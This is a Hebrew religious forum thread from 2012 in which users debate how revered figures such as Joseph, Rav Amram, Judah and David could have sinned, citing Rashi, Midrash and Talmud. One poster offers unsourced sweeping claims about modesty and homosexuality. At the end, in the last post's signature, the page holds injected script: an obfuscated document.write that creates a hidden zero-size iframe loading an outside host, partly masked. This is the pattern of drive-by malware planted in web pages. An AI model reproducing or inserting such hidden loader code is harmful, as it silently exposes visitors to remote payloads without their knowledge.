|
|
| נשלח ב-31/3/2012 23:17 |
 |
| |
דייר, הסיבה שמשבחים את יוסף הצדיק היא סיבה אכן ראויה לשבח - בחור בן 17 (שעדיין לא הגיע לשיא גדולתו הרוחנית) שנמצא במקום זר לחלוטין עם כל האווירה של הפריצות בעריות שמסביב וההיתר, ולא רק זאת אלא שגם הניסיון עצמו - האישה, באה עד אליו ולא רק זאת אלא אף פיתתה אותו ואף תפסה אותו לדבר עבירה - ולצאת ממצב כזה - זהו אכן ניסיון שקשה לאמוד מי היה עומד בו בגיל כזה בסביבה כזאת ובתנאים כאלו. הדברים מובנים בהחלט.
ולגבי רב עמרם - זה כבר נוגע לשאלה שלי - כיצד יתכן שגדול כמוהו (וזקן) לא עמד בפני כמה שבויות מלחמה... ועוד לקח סולם ועוד טיפס אליהם... זה דבר הדרוש ביאור ונראה לי דחוק להסביר אותו בצורה הפשוטה שלו...
|
|
|
|
| נשלח ב-31/3/2012 23:20 |
|
| |
לי זה לא מובן יוסף כידוע למד עם יעקב אבינו בחיר האבות ו א,ב, של תורה זה התגברות על המידות
מאיסת התענוגות ובפרט עריות אז מה הביג דיל???
תתאר לעצמך שיש לך שנה ללמוד עם יעקב אבינו ולחיות בחברתו נשים יפות יענינו אותך???
|
|
|
|
| נשלח ב-31/3/2012 23:22 |
|
| |
דייר, ודאי. בגיל 17? ועוד לאחר שנכנסתי לסביבה השונה מכל מה שלימדו אותי ממנה? ועוד שאני רואה מה שהולך בסביבה הזאת? ועוד אחרי שעומד מולי פיתוי שכזה? ועוד שהפיתוי מגיע עד אליי? ובפרט במחשבה שכבר מה שלמדתי מיעקב הוא ללא תועלת כי לא אחזור כנראה לראותו? ... אני לא מבין מה השאלה בכלל. אבל שוב - אני לא רוצה להיכנס לדיונים שוליים מעין אלו.
|
|
|
|
|
| נשלח ב-31/3/2012 23:26 |
|
| |
אולי אני הסביר לך ברדך אחרת,
בני ישראל לא נחשדו במשכב זכר, מה שאין כן ישמעאלים וכדומה,
מהי הסיבה לעומק ??
ובכן, בזמן התורה כבר הפרסים (שמשו עם בגדיהם) היו יותר צנועים מאיתנו האם זה מעלה או חיסרון ?
לא ולא !!! אומה ששומרת הרבה בצניעות מביא למשכב זכר, ולכן אין להם את החזקה כמו שיש לבני ישראל,
דווקא בני ישראל שלא שמרו על הפרדה לא בסיני ולא במשכן ולא בבית המקדש (רק בבית שני תקנו וכו') ולא משמשים עם בגדיהם, להם יש את החזקה שלא נחשדו במשכב זכר,
ולכן ההפרדה המוגזמת שלנו היא אולי גדר טוב לאשת איש ולזנות עם זונות, אבל נפל החזקה שלנו שאין אנו נכשלים במשכב זכר,
ולכן מי אומר מה נכון, לדעת התורה עדיף להיות נכשל בזנות עם נשים, מי זנות עם גברים, והבן,
מכאן תראה שאסור להתחכם עם התורה,
תוקן על ידי maxmen ב- 31/03/2012 23:27:19
|
|
|
|
| נשלח ב-31/3/2012 23:28 |
|
| |
הלל אומר: - אל תפרוש מן הצבור,
- ואל תאמן בעצמך עד יום מותך,
- ואל תדין את חברך עד שתגיע למקומו,
- ואל תאמר דבר שאי אפשר לשמוע שסופו להשמע.
- ואל תאמר לכשאפנה אשנה יח, שמא לא תפנה.
|
|
|
|
| נשלח ב-31/3/2012 23:46 |
|
| |
נדמה לי כי יש לך תזה משלך, ואתה רוצה לחזק אותה, אז תגיד מה התזה שלך. כי אתה פוסל את היתר
יוסף בעייניך צדיק- כי כך חז"ל. אבל אם היית מעמיק קצת לא היית אומר זאת, אבל זה לא מתאים לתזה שלך.
|
|
|
|
| נשלח ב-31/3/2012 23:52 |
|
| |
מקסמיליאן... בני ישראל לא נחשדו במשכב זכר כי זה לא היה נהוג אצלם ואצל הישמעאלים כן. מדוע? כי זו הייתה המציאות. בדיוק כשם שהמציאות היום שחרדי מן המניין לא נחשד שיש לו טלויזיה בבית וחילוני כן.
ולא הבנתי, אתה רוצה לומר שישמעאלים זה הפרסים? ומה זה אומר בדיוק? ואשמח לקבל את המקורות לדברים שאמרת לגבי הצניעות של הפרסים, ושהם לא נחשדו על משכב זכור, וכו' וכו' ולאחר מכן אוכל להתייחס לדבריך שגם ככה אינם נכונים בתור הבאת דוגמא וראיה למה שהתכוונת...
דייר, אתה חוזר על אותם הדברים... עניתי על כך כבר. אני עדיין מחכה למוסכמות שאתה אמור לשבור אצלי..
ירוחםשמו - אין לי תזה, אמרתי לך. יוסף צדיק כי זה נראה דבר ברור ומובן מאליו מהכתובים... ולכן מובן מה שחז"ל אמרו. זה הכל. אם אתה רוצה להמשיך להתעקש על כך שיש לי תיזה וכו' אז חבל לבזבז על כך את הדיון כי אני לא מתווכן להתווכח על כך.
תוקן על ידי Kaddish ב- 31/03/2012 23:53:03
|
|
|
|
| נשלח ב-31/3/2012 23:55 |
|
| |
| Kaddish כתב: |  | כשם שהמציאות היום שחרדי מן המניין לא נחשד שיש לו טלויזיה בבית וחילוני כן.
|
|
אבל היום נפל החזקה שלא נחשדו ויש באחרונים שאסור להתאחד גברים גם כן,
כעס לא יעזור כאן,
|
|
|
|
| נשלח ב-1/4/2012 00:03 |
|
| |
מקסמיליאן ביקשתי מספר דברים בהודעתי הקודמת.. חבל שאתה מתייחס רק לשורה אחת.
ואני לא יודע מי החליט שנפלה החזקה...
ואגב אני לא מדבר על חזקה הלכתית אלא חזקה מציאותית שבני אדם בימינו לא יחזיקו חרדי כאדם עם טלויזיה בבית משא"כ חילוני...
נ.ב.
לא הבנתי איזה כעס?
|
|
|
|
| נשלח ב-1/4/2012 00:03 |
|
| |
קדיש אותך גם חזיר מגעיל. אני ראיתי בצבא מספיק אנשים טובים (לפי סולם ערכים מוסרי מסויים שאינו מופקע מבחינה הגיונית) שזונה ובוודאי חזיר אינם מגעילים אותם. שים לב שבזמן יהודה היתה זונה מותרת (דברי הר"מ שלפני מ"ת אדם פוגע באשה בשוק ומתרצים שניהם וכו') ע"ז היתה נוהג עולמי ומה לך תמה. צא וראה במו"נ כמה התאמצה תורה לעוקרה. בעצם די לפתוח תנ"ך לשם כך. השאלה הרצינית ביותר היא דוד. ועד שלא תדע כמה שלטון יחיד משחית לא תוכל להבין. קשר עם האלוקים שהיה לראשונים – הקשר הוא ה עמידה בנסיון, כאשר עמדו (וזה היה בדר"כ) ואגב – בריחה מנשיאה בענייני עדתך מונהגיך אינה בהכרח דרגה רוחנית. דוד הלך בדרך הפוכה. גם משה.
|
|
|
|
| נשלח ב-1/4/2012 00:09 |
|
| |
המוסכמות הן שאתה חושב שאנשים גדולים לא יכולים לחטוא זה נשמע כאילו אתה חי בלה לה לנד.
ונכון שאדם שקרוב לגיל 100 כבר לא מעניינות אותו נשים וגלידות ועליו באמת אפשר כמעט בוודאות
לומר שלא חל עליו אין אפוטרופוס לעריות אבל אותו רב בגיל שלושים בהחלט חלים עליו כל כללי חז"ל.
ולא סתם חז"ל גזרו על הייחוד ולא עשו חלוקה בין מי שמילא כריסו בש"ס ופוסקים
והגיע לשליטה אבסולוטית אפילו באנסטינקטים שלו כדבריך לבין סתם עם הארץ גמור.
בקיצור אתה שואל איך אנשים גדולים נופלים והתשובה כי ככה זה וזה טבעו של אדם וזה
מוכח מאין ספור מקורות לאורך כל התקופות עם גלריה שלמה של צדיקים חלקם נפלו וחזרו
בתשובה וחלקם לא.
|
|
|
|
| נשלח ב-1/4/2012 00:11 |
|
| |
שלום תלמיד טועה.
הרמב"ם הסביר כיצד היו איש ואשה מתחתנים לא כיצד היה בן אדם בא על נשים באופן חופשי...
לגבי עבודה זרה - נוהג או לא נוהג צריך להבין כיצד אנשים בעלי חכמה עילאית כשל אבותינו ומדרגה רוחנית כה גבוהה נפלו בעבירה כה טיפשית פאגנית ושטותית.
לגבי דוד - אכן שלטון יחידי יכול להשחית אמנם במדרגתו של דוד ההשחתה שהיינו מצפים לה לא הייתה בענייני עריות ודברים גסים כעין אלו...
הקשר עם האלוקים נובע ממדרגה רוחנית גבוהה וכמובן שמדובר על עמידה בנסיונות ואתגרים ולא מחטאים בעבירות גסות כשל אבותינו (לכאורה). ולכן דבריך לא נכונים בעליל.
ולא הבנתי את משפטך האחרון בעיקר בגלל הקושי לקרוא אותו...
דייר,
רק רציתי להראות לך שהכלל של "אין אפוטרופוס לעריות" לא חל תמיד כמו שניסית להראות וצריך להבין שיש לו הגבלה במצבים מסויימים. ולגבי התקנות של חז"ל - בדברים כאלו חז"ל לא פלוג מהסיבות שחז"ל לא פלוג בעוד הרבה תקנות ומבלי קשר לתקנה עצמה ולמשמעותה (דהיינו, שבאמת יש חשש שאחד שמילא כרסו בש"ס ובפוסקים ומנהיג את היהדות ועבר את גיל ה80 יחטא).
אנשים חטאו ואני מקבל זאת. אנשים בעלי מדרגה רוחנית גבוהה שחטאו - אני מקבל זאת. אנשים בעלי מדרגה רוחנית שחטאו אבל בחטאים גסים שאף בימינו כמעט ולא חוטאים - אני לא מקבל זאת.
תוקן על ידי Kaddish ב- 01/04/2012 00:13:11
 |
|
|
|
|
| נשלח ב-1/4/2012 00:13 |
|
| |
| Kaddish כתב: | | מקסמיליאן ביקשתי מספר דברים בהודעתי הקודמת.. חבל שאתה מתייחס רק לשורה אחת.
ואני לא יודע מי החליט שנפלה החזקה...
ואגב אני לא מדבר על חזקה הלכתית אלא חזקה מציאותית שבני אדם בימינו לא יחזיקו חרדי כאדם עם טלויזיה בבית משא"כ חילוני...
נ.ב.
לא הבנתי איזה כעס? |
|
תשמע ידידי
אין לי עניין ללכת סחור סחור,
הסברתי לך כבר, החינוך שקיבלת הם הזיכרון ההיסטורי שלנו, ולכן זה שאין ע"ז ואתה לא חשוד באשת איש, כל זה למדנו מההיסטוריה, זה נקרא שיש אבולוציה בחכמה ובדעת, התבונה מתפתח באופן אבולוציוני, כל דור מחכים יותר מדור קודם,
וזה הסיבה שהתורה נכתבה כך,
אגב זה הסברתי לך שלפעמים לומדים לא נכון, שדווקא צניעות מוגזמת מביא כשלים אחרים,
לגבי מקורות:
אני לא חושב שזה חשוב, תלמד ותראה לבד, בינתיים תאמין או לא תאמין בי, זה לא כל כך משנה, העיקר היא התובנה שרציתי לעביר לך,
אנו כל כך מתגאים שאין אנו עובדים עבודה זרה, שלעומק למעשה אנו עובדים אלוהים אחרים, שאפי משה רבינו לא חשב על זה, הוא לא חשב שנהפוך את האחרונים לעיקר התורה, ונעבוד אותם במקום את התורה עצמה,
אנחנו אולי לא נחשדים באשת איש אבל זונים אחרי אלוהים אחרים ואחרי כת ההשקפה, וזה יותר גרוע מחטא יהודה ותמר,
תוקן על ידי maxmen ב- 01/04/2012 00:15:54
|
|
|
|
| נשלח ב-1/4/2012 00:15 |
|
| |
קדיש
הנה תזה שלא מקובלת עליך- כי לא טרחת כאמור ללמוד כי היית נעול על דעותיךלפננו מספ מקורות אשר מתיחסים לדמותו של יוסף ולכן נשאלת השאלה מה זכה יוסף לתואר צדיק ?
רש"י בראשית פרק לז
והוא נער - שהיה עושה מעשה נערות, מתקן בשערו ממשמש בעיניו, כדי שיהיה נראה יפה:
*
רש"י בראשית פרק לז
את דבתם רעה - כל רעה שהיה רואה באחיו בני לאה היה מגיד לאביו,
רש"י בראשית פרק לט
ויהי יוסף יפה תואר - כיון שראה עצמו מושל, התחיל אוכל ושותה ומסלסל בשערו, אמר הקב"ה אביך מתאבל ואתה מסלסל בשערך, אני מגרה בך את הדוב, מיד ותשא אשת אדוניו וגו' - כל מקום שנאמר אחר סמוך:
וימאן יוסף
מדרש ילמדנו (מאן) ילקוט תלמוד תורה - בראשית אות קסב
דף קה, ע"א ( לבר' ל"ט, ח') . הן אדני. א"ר יהודה בר' שלום למה מאן יוסף, לפי שראה איקונין של אביו, וא"ל: יוסף יוסף, עתידין אחיך ליכתב באבני אפד, תרצה שתהיה חסר מכולם ותהיה רועה זונות, לכך: וימאן יוסף
תלמוד בבלי מסכת סוטה דף לו עמוד ב
יהי כהיום הזה ויבא הביתה לעשות מלאכתו, א"ר יוחנן: מלמד, ששניהם לדבר עבירה נתכוונו. ויבא הביתה לעשות מלאכתו - רב ושמואל, חד אמר: לעשות מלאכתו ממש, וחד אמר: לעשות צרכיו נכנס. ואין איש מאנשי הבית וגו' - אפשר, בית גדול
בראשית רבה (וילנא) פרשה פז ד"ה ז ויהי כהיום
ר"ש בר נחמן אמר לעשות מלאכתו ודאי אלא ואין איש בדק את עצמו ולא מצא עצמו איש, ד"א ר"ש אמר נמתחה הקשת וחזרה הה"ד ( בראשית מ"ט) ותשב באיתן קשתו, קשיותו, ר' יצחק אמר נתפזר זרעו ויצא דרך צפרניו שנא' ויפוזו זרועי ידיו, ר"ה בשם רבי מתנא אמר איקונין של אביו ראה וצנן דמו, דכתיב משם רועה אבן ישראל מי עשה כן מאל אביך ויעזרך וגו', ברכות שדים ורחם ברכתא דאבוך ודאמך.
תלמוד בבלי מסכת סוטה דף לו עמוד ב
ותתפשהו בבגדו לאמר וגו' - באותה שעה באתה דיוקנו של אביו ונראתה לו בחלון, אמר לו: יוסף, עתידין אחיך שיכתבו על אבני אפוד ואתה ביניהם, רצונך שימחה שמך מביניהם ותקרא רועה זונות? דכתיב: +משלי כט+ ורועה זונות יאבד הון. מיד: +בראשית
בראשית פרק מא
יִּשְׁלַח פַּרְעֹה וַיִּקְרָא אֶת יוֹסֵף וַיְרִיצֻהוּ מִן הַבּוֹר וַיְגַלַּח וַיְחַלֵּף שִׂמְלֹתָיו וַיָּבֹא אֶל פַּרְעֹה:
מדוע ציינה התורה סימבולית רק את הגילוח והחלפת הבגד ולא למשל שהוא התרחץ גם לכבוד המלכות
בראשית פרק מא
וַיִּקְרָא פַרְעֹה שֵׁם יוֹסֵף צָפְנַת פַּעְנֵחַ וַיִּתֶּן לוֹ אֶת אָסְנַת בַּת פּוֹטִי פֶרַע כֹּהֵן אֹן לְאִשָּׁה וַיֵּצֵא יוֹסֵף עַל אֶרֶץ מִצְרָיִם:
(
ויקרא רבה (מרגליות) פרשה לב ד"ה [ה] גן נעול
' חונה בש' בר קפרא בשביל ארבעה דברים ניגאלו ישר' ממצרים, על ידי שלא שינו את שמן ולא שינו את לשונם ועל ידי שלא אמרו לשון הרע ועל ידי שלא היה בהן פרוץ ערוה. על ידי שלא שינו את שמן, ראובן ושמעון מי נחתין ראובן ושמעון מי סלקין. לא היו קורין לראובן רופס, ליהודה לוליאנא, ליוסף ליסטס, לבנימן אלכסנדרא. על ידי שלא שינו את לשונם, להלן כת' ויבא הפליט ויגד לאברם העברי ויש מוסיפים שלא שינו לבושם ושפתם
בראשית פרק מא
(נא) וַיִּקְרָא יוֹסֵף אֶת שֵׁם הַבְּכוֹר מְנַשֶּׁה כִּי נַשַּׁנִי אֱלֹהִים אֶת כָּל עֲמָלִי וְאֵת כָּל בֵּית אָבִי:
(נב) וְאֵת שֵׁם הַשֵּׁנִי קָרָא אֶפְרָיִם כִּי הִפְרַנִי אֱלֹהִים בְּאֶרֶץ עָנְיִי
* ב"ה ששכחתי אית בית אבא וכל כך טוב לי בגלות
בראשית פרק מב
ז) וַיַּרְא יוֹסֵף אֶת אֶחָיו וַיַּכִּרֵם וַיִּתְנַכֵּר אֲלֵיהֶם וַיְדַבֵּר אִתָּם קָשׁוֹת וַיֹּאמֶר אֲלֵהֶם מֵאַיִן בָּאתֶם וַיֹּאמְרוּ מֵאֶרֶץ כְּנַעַן לִשְׁבָּר אֹכֶל:
(כך מתיחסים לאחים לאחר עשרים שנה לא משנה מה הם עשו
*
ולא יכול יוסף להתאפק
בראשית רבה (וילנא) פרשה צג ד"ה ח אדוני שאל
מרו לו אחיו יהודה מצרים אינה כשכם אם אתה מחריב את מצרים תחריב את כל העולם, באותה שעה ולא יכול יוסף להתאפק, כיון שראה יוסף שהסכימה דעתם להחריב את מצרים אמר יוסף בלבו מוטב שאתודע להם ואל יחריבו את מצרים
פטריוט מצרי ?
|
|
|
|
|
| נשלח ב-1/4/2012 00:23 |
|
| |
קדיש
תודה על התוספת של דוגמאות. אני מעתיקן ומצרף את ביאורי.
כעסו של משה רבינו - בהתחשב בכך ש40 שנה הוא סבל מעקשנותם וטפשותם ועוד ועוד, איך לא יכעס?
חטא עבודה זרה של עם ישראל - זו שאלה של תרבות. כאשר הכל מסביב מאמינים שהאלילות עובדת, כמה קשה להתגבר על זה. ובאמת, האם בזמננו נוקינו?
יהודה ותמר - אכן גם הגמרא התפלאה איך התפתה ללכת אחרי עיניו. ובארו שזה היה כשלון חד פעמי. וכך נראה. וכן הוא אצל דוד (שם לא היתה בעיה של שמירת עינים, אם נתבונן בפשט הפסוקים, ובוודאי לפי פרשנות חז"ל שהשתדלו להמחיש שזה היה בתאונה שיכול היה לראותה).
שלמה ואלף הנשים - יש מפרשים שהנישואין היו פוליטיים. וכך מסתבר.
שאול והתנהגותו ה"חילונית" הברברית כלפי דוד - הכתוב מעיד שחלה בנפשו. (תלוי איך מבינים "רוח רעה" כמובן. אני מבין זאת כמחלת נפש עקב קנאה ועקב המשבר של דחייתו ממלוכה בידי שמואל).
***
לגבי רצונך בפרשנות מעדנת, הרי זה מה שכתבתי בעצמי לעיל. אבל עלינו להיזהר, לפחות לדעתי, כי אם מעדנים יותר מדי, אנו נתקלים בבעיה שציינת: אנו מציגים את האבות כבני מעלה כל כך עד שהם מנותקים מהמציאות שלנו. ולמעשה, אם הם כה נעלים כפי שנוהגים להציגם בחברה החרדית של זמננו, אז מה לנו ולהם? הם אנשים בלתי אפשריים...
______תוקנה טעות הקלדה___________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 01/04/2012 00:24:05
|
|
|
|
|
|
